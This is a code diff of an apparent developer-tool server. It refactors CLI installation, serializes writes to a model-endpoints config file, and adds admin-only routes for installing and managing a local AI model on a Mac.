type CliInstallResult,
} from '../../cli-install-runner.js';
// The install runner lives in src/cli-install-runner.ts, shared with the local model install
// job. These two stay importable from here, where the route's tests take them from.
export { installEnv, npmGlobalPrefixWritable } from '../../cli-install-runner.js';
/**
* `cliManagementEnabled` defaults OFF, same reasoning as
@@ -78,17 +82,6 @@ export interface CliListItem {
installCommand?: string;
}
/**
* Forget every cached binary lookup for this CLI — the generic per-id resolver (which
* captures the entry's binaries when first built) and every underlying per-binary cache,
* success and negative-cache backoff alike. Called after anything that changes what is on
* disk or what the CLI's binary IS; see `invalidateCliExecutableResolvers`.
*/
function forgetResolvedCli(id: string, binaries: readonly string[]): void {
invalidateCliExecutableResolvers(binaries);
invalidateCliResolverCache(id);
}
const STOCK_IDS = new Set(STOCK_CLIS.map((e) => e.id as string));
/**
@@ -202,195 +195,6 @@ function nextOrder(): number {
return (orders.length ? Math.max(...orders) : 0) + 10;
}
/** Bounded execution: `PATH_INSTALL_TIMEOUT_MS`, output capped, process GROUP killed on timeout. */
const CLI_INSTALL_TIMEOUT_MS = 300_000;
/**
* Ids with an install running right now. A second request for the same id gets 409 rather
* than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
*/
const installsInFlight = new Set<string>();
const execFileAsync = promisify(execFile);
/**
* True when `npm install -g` can write to this process's npm global prefix, or when that cannot
* be determined (then nothing is redirected: a wrong guess would move installs somewhere the
* user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
* because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
*
* Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
* timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
* judged by the nearest ancestor that does: npm creates the missing directories, so a user
* `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
*/
export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
try {
const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
env: source,
encoding: 'utf8',
timeout: 5_000,
killSignal: 'SIGKILL',
});
const prefix = stdout.trim();
if (!prefix) return true;
// npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
let dir = join(prefix, 'lib', 'node_modules');
for (;;) {
try {
await access(dir, fsConstants.W_OK);
return true;
} catch (err) {
if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
const parent = dirname(dir);
if (parent === dir) return false;
dir = parent;
}
}
} catch {
return true;
}
}
/**
* The server's environment minus every `CODEMAN_*` variable. An install script is third-party
* code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
* data dir, the tmux socket), none of which an installer needs.
*
* It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
* server user can write and Codeman's resolvers already search (`~/.local/bin`):
* - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
* update (the image's own prefix is image content);
* - on a native install whose npm global prefix is not writable by the server user (a system node
* under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
* e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
* operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
*/
export function installEnv(
source: NodeJS.ProcessEnv = process.env,
prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
): NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};
for (const [key, value] of Object.entries(source)) {
if (!key.startsWith('CODEMAN_')) env[key] = value;
}
// ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
// content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
// vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
// list, so npm-based installs are redirected there. curl|bash installers already target HOME.
if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
redirectNpmPrefix(env, source.HOME);
} else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
redirectNpmPrefix(env, source.HOME);
}
return env;
}
/**
* Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
* lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
* are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
* operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
*/
function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
env.NPM_CONFIG_PREFIX = `${home}/.local`;
}
/**
* `installEnv` for this process, with the (async) npm prefix probe done first and only when the
* command runs npm at all: a `curl | bash` installer never pays for it.
*/
async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
const usesNpm = /\bnpm\b/.test(command);
const probeNeeded =
usesNpm &&
source.CODEMAN_IN_CONTAINER !== '1' &&
process.platform !== 'win32' &&
!!source.HOME &&
!source.NPM_CONFIG_PREFIX;
const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
return installEnv(source, () => writable);
}
interface InstallResult {
code: number | null;
output: string;
timedOut: boolean;
}
/**
* Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here —
* the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners — but this
* is NOT a reopening of the config-shell-text concern the registry's `shellToken` pattern
* exists to prevent: the string executed here is NEVER user input, only ever what is
* already hardcoded and reviewed in `stock.ts` (`resolveInstallCommandForPlatform`), and a
* CUSTOM entry can never reach this function at all — see the route's own guard below.
*/
async function runInstallCommand(command: string): Promise<InstallResult> {
const env = await installEnvFor(command);
return new Promise((resolve) => {
let child: ReturnType<typeof spawn>;
try {
child = spawn(command, {
shell: true,
stdio: ['ignore', 'pipe', 'pipe'],
// Own process group; the timeout below kills the whole tree by hand, mirroring
// the DeepSeek profile-install endpoint's own reasoning: an install command fans
// out into package-manager children, and spawn's own `timeout` option signals
// only the direct child, leaving survivors holding the pipes open forever.
detached: true,
env,
});
} catch (err) {
resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false });
return;
}
let output = '';
let timedOut = false;
let settled = false;
let killTimer: NodeJS.Timeout | undefined;
let reapTimer: NodeJS.Timeout | undefined;
const capture = (chunk: Buffer) => {
if (output.length < 16_384) output += chunk.toString('utf-8');
};
child.stdout?.on('data', capture);
child.stderr?.on('data', capture);
const killTree = (signal: NodeJS.Signals) => {
try {
if (child.pid) process.kill(-child.pid, signal);
} catch {
/* already gone */
}
};
const finish = (code: number | null) => {
if (settled) return;
settled = true;
clearTimeout(timer);
if (killTimer) clearTimeout(killTimer);
if (reapTimer) clearTimeout(reapTimer);
resolve({ code, output, timedOut });
};
const timer = setTimeout(() => {
timedOut = true;
killTree('SIGTERM');
killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
reapTimer = setTimeout(() => finish(null), 8_000);
}, CLI_INSTALL_TIMEOUT_MS);
child.on('error', (err) => {
output = `${output}\n${err.message}`;
finish(null);
});
child.on('close', (code) => finish(code));
});
}
export function registerCliRegistryRoutes(app: FastifyInstance): void {
// ---- Phase 2: read ----------------------------------------------------
// GET /api/clis — every registry entry, disabled ones included (this is an
@@ -461,6 +265,8 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
// ---- Phase 4: auto-install (stock only) --------------------------------
// One install per id at a time (409 otherwise), and the script never sees CODEMAN_* env.
// Bounded execution (`CLI_INSTALL_TIMEOUT_MS`), output capped, process GROUP killed on
// timeout: all of that is `runInstallCommand()` in src/cli-install-runner.ts.
// POST /api/clis/:id/install — runs the entry's already-vetted install
// command. Separate endpoint from Phase 3's toggle: installing is a bigger
// action than a boolean flip and gets its own audit entry. Never auto-
@@ -488,15 +294,16 @@ export function registerCliRegistryRoutes(app: FastifyInstance): void {
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, `"${id}" has no install command for this platform`);
}
if (installsInFlight.has(id)) {
// ONE slot per id, shared with the local model install job (src/cli-install-runner.ts).
const release = tryBeginCliInstall(id);
if (!release) {
return createErrorResponse(ApiErrorCode.CONFLICT, `"${id}" is already being installed`);
}
installsInFlight.add(id);
let result: InstallResult;
let result: CliInstallResult;
try {
result = await runInstallCommand(command);
} finally {
installsInFlight.delete(id);
release();
}
// Even a failed or timed-out install may have left a binary behind, so forget the
// cached lookups either way: the next Run click or badge read probes afresh
+103 -34
View File
@@ -12,17 +12,34 @@
* connect time, redirects included — a save-time hostname check alone would
* let `models.example` resolve to 169.254.169.254 later. The endpoint is
* admin-configured, so this is defence in depth rather than the only gate.
*
* Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()`
* (src/custom-model-hosts-writer.ts): the four writing routes and the re-discovery sweep run
* one at a time, each check ("the id is free", "the record still exists") inside the same
* serialized step as its write, and a file that does not parse is refused with 409 rather than
* overwritten. They used to read, change and write on their own, through one shared temp file
* name: a route and the sweep could tear the file, and the next writer then saved a list that
* held only its own record.
*
* The local model install (src/local-model/) keeps ONE record here under a reserved id
* (`LOCAL_MODEL_ENDPOINT_ID`). A new endpoint may not take that id. While the record is the
* managed one (`isManagedLocalEndpoint()`: the local model state file records it as ours) it
* is not edited, deleted or re-discovered from here: its `models` must stay the one model the
* install checked, and its `baseUrl` the port of the runtime Codeman supervises. It is changed
* and removed through the local model routes.
*/
import type { FastifyInstance, FastifyRequest } from 'fastify';
import { ApiErrorCode, createErrorResponse, type ApiResponse } from '../../types.js';
import { ApiErrorCode, createErrorResponse, LOCAL_MODEL_INSTALL_LABELS, type ApiResponse } from '../../types.js';
import { isAdmin, parseBody, readJsonConfig, SETTINGS_PATH } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { getDataDir } from '../../config/instance.js';
import { isBlockedWebviewUrl } from '../webview-egress-policy.js';
import { egressBlockedReason, webviewFetch } from '../webview-egress.js';
import { CustomModelHostSchema, MAX_DISCOVERED_CONTEXT_TOKENS } from '../schemas.js';
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js';
import { readCustomModelHosts, type CustomModelHost } from '../../custom-model-hosts.js';
import { customModelHostsWriteErrorResponse, mutateCustomModelHosts } from '../../custom-model-hosts-writer.js';
import { isLocalModelEndpointId, isManagedLocalEndpoint } from '../../local-model/connect.js';
import type { CliEntry } from '../../config/cli-registry/types.js';
const CODEMAN_CONFIG_DIR = getDataDir();
@@ -795,20 +812,30 @@ export async function refreshAllCustomModelHosts(): Promise<void> {
const hosts = await readCustomModelHosts(dataDir);
for (const host of hosts) {
if (isBlockedWebviewUrl(host.baseUrl)) continue;
// The local model's own record keeps the one model its install checked: whatever else the
// runtime lists (a model somebody pulled through its port) must not become launchable.
if (await isManagedLocalEndpoint(host.id)) continue;
let result: DiscoveryResult;
try {
result = await discoverModels(host);
} catch {
continue; // unreachable this cycle — try again next tick, not fatal to the sweep
}
// Re-read + splice by id rather than reusing the array captured above: an
// admin editing or deleting an endpoint via the API mid-sweep must win,
// not be silently overwritten by a refresh that started before their change.
const current = await readCustomModelHosts(dataDir);
const index = current.findIndex((item) => item.id === host.id);
if (index === -1) continue; // deleted mid-sweep
current[index] = applyDiscoveredModels(current[index], result);
await writeCustomModelHosts(dataDir, current);
// Spliced by id inside the serialized writer, onto the list as it is THEN, rather than
// the array captured above: an admin editing or deleting an endpoint via the API mid-sweep
// must win, not be silently overwritten by a refresh that started before their change.
try {
await mutateCustomModelHosts<void>((current) => {
const index = current.findIndex((item) => item.id === host.id);
if (index === -1) return { result: undefined }; // deleted mid-sweep
current[index] = applyDiscoveredModels(current[index], result);
return { hosts: current, result: undefined };
}, dataDir);
} catch {
// A file that must not be overwritten (it does not parse) refuses every write of this
// sweep the same way. The writer logged why; nothing more can be saved this cycle.
return;
}
}
}
@@ -897,6 +924,18 @@ export async function detectCustomModelSwapDisplacements(
return displacements;
}
/** A write the serialized writer refused (the file does not parse) is 409 with the fix; any other failure stays in the envelope. */
function refusedHostsWrite(err: unknown, reply: { code: (n: number) => unknown }): ApiResponse<never> {
const response = customModelHostsWriteErrorResponse(err);
if (!response.success && response.errorCode === ApiErrorCode.CONFLICT) reply.code(409);
return response;
}
/** The answer to an edit or a delete of the record the local model install manages. */
function managedEndpointRefusal(): ApiResponse<never> {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointManaged);
}
export function registerCustomModelRoutes(app: FastifyInstance): void {
app.get('/api/model-endpoints', async (req): Promise<RedactedHost[]> => {
if (isMultiUserMode() && !isAdmin(req)) return [];
@@ -913,12 +952,19 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
}
const badDefault = invalidDefaultModel(host);
if (badDefault) return badDefault;
const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
if (hosts.some((item) => item.id === host.id)) {
return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists');
if (isLocalModelEndpointId(host.id)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, LOCAL_MODEL_INSTALL_LABELS.endpointIdReserved);
}
try {
return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => {
if (hosts.some((item) => item.id === host.id)) {
return { result: createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Model endpoint already exists') };
}
return { hosts: [...hosts, host], result: { success: true, data: { host: redactApiKey(host) } } };
}, CODEMAN_CONFIG_DIR);
} catch (err) {
return refusedHostsWrite(err, reply);
}
await writeCustomModelHosts(CODEMAN_CONFIG_DIR, [...hosts, host]);
return { success: true, data: { host: redactApiKey(host) } };
});
app.put('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ host: RedactedHost }>> => {
@@ -931,26 +977,37 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
}
const badDefault = invalidDefaultModel(incoming);
if (badDefault) return badDefault;
const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
const index = hosts.findIndex((item) => item.id === id);
if (index === -1) return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found');
const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]);
const next = [...hosts];
next[index] = host;
await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next);
return { success: true, data: { host: redactApiKey(host) } };
if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal();
try {
return await mutateCustomModelHosts<ApiResponse<{ host: RedactedHost }>>((hosts) => {
const index = hosts.findIndex((item) => item.id === id);
if (index === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') };
const host = applyDiscoveredFields(applyStoredApiKey(incoming, hosts[index]), hosts[index]);
const next = [...hosts];
next[index] = host;
return { hosts: next, result: { success: true, data: { host: redactApiKey(host) } } };
}, CODEMAN_CONFIG_DIR);
} catch (err) {
return refusedHostsWrite(err, reply);
}
});
app.delete('/api/model-endpoints/:id', async (req, reply): Promise<ApiResponse<{ id: string }>> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const { id } = req.params as { id: string };
const hosts = await readCustomModelHosts(CODEMAN_CONFIG_DIR);
await writeCustomModelHosts(
CODEMAN_CONFIG_DIR,
hosts.filter((item) => item.id !== id)
);
return { success: true, data: { id } };
if (await isManagedLocalEndpoint(id)) return managedEndpointRefusal();
try {
return await mutateCustomModelHosts<ApiResponse<{ id: string }>>((hosts) => {
const next = hosts.filter((item) => item.id !== id);
// Nothing to take out: the file is left as it is, and the answer is the same.
return next.length === hosts.length
? { result: { success: true, data: { id } } }
: { hosts: next, result: { success: true, data: { id } } };
}, CODEMAN_CONFIG_DIR);
} catch (err) {
return refusedHostsWrite(err, reply);
}
});
app.post(
@@ -966,12 +1023,12 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
if (isBlockedWebviewUrl(host.baseUrl)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Endpoint base URL is not allowed');
}
// The local model's own record is not probed: it lists the one model its install checked,
// and that list is the answer.
if (await isManagedLocalEndpoint(id)) return { success: true, data: { models: host.models ?? [] } };
let result: DiscoveryResult;
try {
const result = await discoverModels(host);
const next = [...hosts];
next[index] = applyDiscoveredModels(host, result);
await writeCustomModelHosts(CODEMAN_CONFIG_DIR, next);
return { success: true, data: { models: result.models } };
result = await discoverModels(host);
} catch (err) {
const blocked = egressBlockedReason(err);
return createErrorResponse(
@@ -979,6 +1036,18 @@ export function registerCustomModelRoutes(app: FastifyInstance): void {
blocked ? `Endpoint refused: ${blocked}` : `Could not reach endpoint: ${describeFetchError(err)}`
);
}
try {
// Onto the record as it is NOW: the probe above took a moment, and an edit made
// meanwhile must not be replaced by the copy read before it.
return await mutateCustomModelHosts<ApiResponse<{ models: string[] }>>((current) => {
const at = current.findIndex((item) => item.id === id);
if (at === -1) return { result: createErrorResponse(ApiErrorCode.NOT_FOUND, 'Model endpoint not found') };
current[at] = applyDiscoveredModels(current[at], result);
return { hosts: current, result: { success: true, data: { models: result.models } } };
}, CODEMAN_CONFIG_DIR);
} catch (err) {
return refusedHostsWrite(err, reply);
}
}
);
+1
View File
@@ -49,5 +49,6 @@ export {
type CustomModelSwapDisplacement,
} from './custom-model-routes.js';
export { registerCliRegistryRoutes, readCliManagementEnabled, type CliListItem } from './cli-registry-routes.js';
export { registerLocalModelRoutes } from './local-model-routes.js';
export { registerAgentSessionRoutes } from './agent-session-routes.js';
+306
View File
@@ -0,0 +1,306 @@
/**
* @fileoverview The local model routes: what this Mac is and which local model fits it
* (`GET /api/local-model`), and the verbs that install one, start and stop it and remove it.
*
* | Route | Body | Answer |
* |----------------------------------|-----------------------------|------------------------------------------------|
* | `GET /api/local-model` | none | `{ hardware, recommendation, catalogUpdated, install }` |
* | `POST /api/local-model/install` | `LocalModelInstallRequest` | the install view; 400, 409 |
* | `POST /api/local-model/cancel` | none | the install view; 409 |
* | `POST /api/local-model/resume` | `LocalModelResumeRequest` | the install view; 409 |
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 |
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 |
*
* The GET is built from the hardware probe, the catalogue, the harness facts and the pure
* `recommend()`, plus the `install` object of the install service
* (`LocalModelService.view()`). Nothing is reformatted here: every size text and every
* sentence in the payload was chosen by the modules that produced it. There is no SSE event:
* the window polls the GET once a second while it is open.
*
* EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and
* their payloads are outside the stable `/api/v1` contract. docs/api-reference.md says so in
* its section; keep the two in step, and drop both labels together.
*
* Rules:
* - Every route is admin only in multi-user mode (403), the same bar as `GET /api/doctor`:
* the GET names hardware of the host, and the verbs download and run a program, install a
* coding agent and write the server-wide settings. The gate runs before anything is probed,
* parsed or started.
* - The GET changes nothing a person asked to keep: it downloads nothing, installs nothing
* and writes no setting. Its one write is the service's own bookkeeping (a job a server
* restart interrupted is marked paused the first time anything looks at it).
* - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed
* in the hardware's `source` (`os-fallback`), and a server that is not on macOS as
* `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed
* from what is known. Should the probe itself reject (it promises not to), the route logs
* it and answers with what `node:os` knows (`hardwareFromOs()`), under the same two
* `source` values.
* - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or
* `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits".
* - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request
* is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict`
* (`reason`, the sentence, and for `size-changed` the server's own total, for
* `sessions-open` the session names). A 400 the service names carries its sentence as
* `data.message` too, so the window prints it in its own language. A write of the settings
* or of the endpoint store that was refused (a file that does not parse) is a 409 without
* `data`, with the fix.
* - The verbs do the work in the install service; this file only gates, parses and maps.
* `DELETE`, `runtime` and `resume` look at the live sessions: they hand their names to the
* service, which refuses a removal, a stop and a change of port while one of them still
* uses the model.
* - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
* does not need a Mac: it passes its own hardware, harness facts and service.
*/
import { arch, totalmem } from 'node:os';
import type { FastifyInstance, FastifyReply, FastifyRequest } from 'fastify';
import {
ApiErrorCode,
createErrorResponse,
getErrorMessage,
type ApiResponse,
type HardwareFacts,
type HarnessFact,
type LocalModelCatalog,
type LocalModelConflict,
type LocalModelInstallView,
type LocalModelRefusal,
type LocalModelStatus,
type Recommendation,
type RecommendOptions,
} from '../../types.js';
import { getAuthUser, isAdmin, parseBody } from '../route-helpers.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import { getLocalModelCatalog } from '../../config/local-model-catalog.js';
import {
CustomModelHostsWriteRefusedError,
customModelHostsWriteErrorResponse,
} from '../../custom-model-hosts-writer.js';
import { sessionNamesUsingEndpoint } from '../../local-model/connect.js';
import { formatGb, memClassGb } from '../../local-model/format.js';
import { readHardware } from '../../local-model/hardware.js';
import { buildHarnessFacts } from '../../local-model/harness-facts.js';
import {
formatInstallMessage,
getLocalModelService,
type LocalModelActor,
type LocalModelService,
type LocalModelVerbResult,
} from '../../local-model/install-job.js';
import { recommend } from '../../local-model/recommend.js';
import {
LocalModelInstallSchema,
LocalModelRemoveSchema,
LocalModelResumeSchema,
LocalModelRuntimeSchema,
} from '../schemas.js';
import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js';
/** A live session as the DELETE needs it: its name, and the endpoint its model comes from. */
export interface LocalModelSessionLike {
name: string;
customModel?: { endpointId: string };
}
/** What the routes read of the server: its live sessions. */
export interface LocalModelRouteContext {
sessions: ReadonlyMap<string, LocalModelSessionLike>;
}
/** What the routes call. Each member defaults to the real module; a test overrides what it needs. */
export interface LocalModelRouteDeps {
readHardware: () => Promise<HardwareFacts>;
getCatalog: () => LocalModelCatalog;
buildHarnessFacts: (catalog: LocalModelCatalog) => Promise<HarnessFact[]>;
recommend: (
hw: HardwareFacts,
catalog: LocalModelCatalog,
harnessFacts: readonly HarnessFact[],
options?: RecommendOptions
) => Recommendation;
/** The install service. Looked up on every request, so the server's one service is built on first use. */
service: () => LocalModelService;
}
export const defaultLocalModelRouteDeps: LocalModelRouteDeps = {
readHardware: () => readHardware(),
getCatalog: getLocalModelCatalog,
buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
recommend,
service: getLocalModelService,
};
/**
* The hardware answer when the probe rejected: memory and architecture from `node:os`, and the
* `source` the probe itself uses for "nothing was read from sysctl" (`os-fallback` on macOS,
* `not-probed` anywhere else). Sizes go through the one formatter, like every other size.
*/
export function hardwareFromOs(): HardwareFacts {
const memBytes = totalmem();
return {
platform: process.platform,
arch: arch(),
memBytes,
memGb: formatGb(memBytes),
memClassGb: memClassGb(memBytes),
source: process.platform === 'darwin' ? 'os-fallback' : 'not-probed',
};
}
/** The 409 of a verb the service refused: the error envelope plus the conflict as `data`. */
export interface LocalModelConflictResponse {
success: false;
/** The conflict's sentence in English, its slots filled. */
error: string;
errorCode: ApiErrorCode;
data: LocalModelConflict;
}
/** The 400 (or 507) of a verb the service refused with a sentence: the error envelope plus that sentence as `data`. */
export interface LocalModelRefusalResponse {
success: false;
/** The sentence in English, its slots filled. */
error: string;
errorCode: ApiErrorCode;
data: LocalModelRefusal;
}
/** What a verb answers: the view after it, an error envelope, or a refusal that carries its sentence. */
export type LocalModelVerbResponse =
| ApiResponse<LocalModelInstallView>
| LocalModelConflictResponse
| LocalModelRefusalResponse;
/** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */
function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse<never> | null {
if (!isMultiUserMode() || isAdmin(req)) return null;
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode');
}
function actorOf(req: FastifyRequest): LocalModelActor {
return { username: getAuthUser(req).username, ip: req.ip };
}
/** A verb's result as its HTTP answer. */
function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse {
if (result.ok) return { success: true, data: result.view };
reply.code(result.status);
if (result.status !== 409) {
return {
success: false,
error: formatInstallMessage(result.message),
errorCode: result.status === 400 ? ApiErrorCode.INVALID_INPUT : ApiErrorCode.OPERATION_FAILED,
data: { message: result.message },
};
}
return {
success: false,
error: formatInstallMessage(result.conflict.message),
errorCode: ApiErrorCode.CONFLICT,
data: result.conflict,
};
}
/** Runs one verb. What the service did not name as a refusal: a refused config write is a 409 with the fix, anything else a 500. */
async function runVerb(
reply: FastifyReply,
verb: () => Promise<LocalModelVerbResult>
): Promise<LocalModelVerbResponse> {
try {
return respond(await verb(), reply);
} catch (err) {
if (err instanceof CustomModelHostsWriteRefusedError) {
reply.code(409);
return customModelHostsWriteErrorResponse(err);
}
if (err instanceof SettingsWriteRefusedError) {
reply.code(409);
return settingsWriteErrorResponse(err);
}
reply.code(500);
return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, `The local model request failed: ${getErrorMessage(err)}`);
}
}
export function registerLocalModelRoutes(
app: FastifyInstance,
ctx: LocalModelRouteContext,
deps: Partial<LocalModelRouteDeps> = {}
): void {
const resolved: LocalModelRouteDeps = { ...defaultLocalModelRouteDeps, ...deps };
app.get(
'/api/local-model',
async (req: FastifyRequest, reply: FastifyReply): Promise<ApiResponse<LocalModelStatus>> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
let hardware: HardwareFacts;
try {
hardware = await resolved.readHardware();
} catch (err) {
console.warn(`[local-model] The hardware probe failed, answering from node:os: ${getErrorMessage(err)}`);
hardware = hardwareFromOs();
}
try {
const catalog = resolved.getCatalog();
const harnessFacts = await resolved.buildHarnessFacts(catalog);
const service = resolved.service();
// The measured budget once the runtime reported it, and the runtime download that an
// install would still add: what turns the estimate into the figures of the consent.
const options = await service.recommendOptions();
const recommendation = resolved.recommend(hardware, catalog, harnessFacts, options);
const install = await service.view();
return { success: true, data: { hardware, recommendation, catalogUpdated: catalog.updated, install } };
} catch (err) {
reply.code(500);
return createErrorResponse(
ApiErrorCode.INTERNAL_ERROR,
`The local model recommendation failed: ${getErrorMessage(err)}`
);
}
}
);
app.post('/api/local-model/install', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelInstallSchema, req.body);
return runVerb(reply, () => resolved.service().install(body, actorOf(req)));
});
app.post('/api/local-model/cancel', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
return runVerb(reply, () => resolved.service().cancel());
});
app.post('/api/local-model/resume', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelResumeSchema, req.body ?? {});
const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
return runVerb(reply, () => resolved.service().resume(body, actorOf(req), sessionNames));
});
app.post('/api/local-model/runtime', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelRuntimeSchema, req.body);
// Asked at the moment of the request, like the DELETE: a stop or a change of port leaves
// a live session calling an address nothing of ours holds.
const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
return runVerb(reply, () => resolved.service().runtime(body, sessionNames));
});
app.delete('/api/local-model', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelRemoveSchema, req.body ?? {});
// Asked at the moment of the request: a session that started a second ago counts.
const sessionNames = sessionNamesUsingEndpoint(ctx.sessions.values());
return runVerb(reply, () => resolved.service().remove(body, sessionNames, actorOf(req)));
});
}
+16
View File
@@ -35,6 +35,7 @@ import {
isWorkingDirAllowedForUsername,
sessionCapacityMessage,
} from '../route-helpers.js';
import { getLocalModelService } from '../../local-model/install-job.js';
import { rebootRestoreRegistry } from '../reboot-restore-registry.js';
import { rejectAlreadyLive, type RebootRestoreEntry, type RebootRestoreRejection } from '../../reboot-restore.js';
import { clampEnvOverridesForOwner } from '../../session-env-clamp.js';
@@ -163,6 +164,21 @@ export function registerRebootRestoreRoutes(app: FastifyInstance, ctx: RebootRes
failures.push({ sessionId: entry.sessionId, reason: 'workspace-forbidden' });
continue;
}
// A session that ran on the model Codeman runs on this Mac is rebuilt only while that
// model can be started on: its own runtime is up and its digest is the one stored at
// install time. Asked before anything is built, like the two session routes; the
// session's own launch guard would refuse the start too, but only after the session
// exists. Every other endpoint, and a session without one, is answered `undefined`.
const savedModel = (entry.state as { __customModel?: { endpointId?: string; modelId?: string } }).__customModel;
if (savedModel && typeof savedModel.endpointId === 'string' && typeof savedModel.modelId === 'string') {
const refusal = await getLocalModelService().launchRefusalMessage(savedModel.endpointId, savedModel.modelId);
if (refusal) {
console.warn(`[reboot-restore] ${entry.sessionId} is not rebuilt: ${refusal}`);
// Left on offer: the model can be started (or installed again) and the click repeated.
failures.push({ sessionId: entry.sessionId, reason: 'local-model-not-ready' });
continue;
}
}
try {
const saved = entry.state;
const claudeModeConfig = await ctx.getClaudeModeConfig();
+14 -3
View File
@@ -82,6 +82,7 @@ import {
CustomModelSelectionSchema,
} from '../schemas.js';
import { readCustomModelHosts, resolveCustomModelContextLength } from '../../custom-model-hosts.js';
import { getLocalModelService } from '../../local-model/install-job.js';
import { applyCustomModelInjection, removeConfigDir } from '../../custom-model-injection-apply.js';
import { buildCustomModelInjection } from '../../custom-model-injection.js';
import {
@@ -978,8 +979,8 @@ export function _paneDeathWatcherCount(): number {
*
* `applyAgentSkill` declines two shapes rather than writing through them ('foreign':
* an unmarked skills/codeman the user authored; 'symlink': the skill dir or its
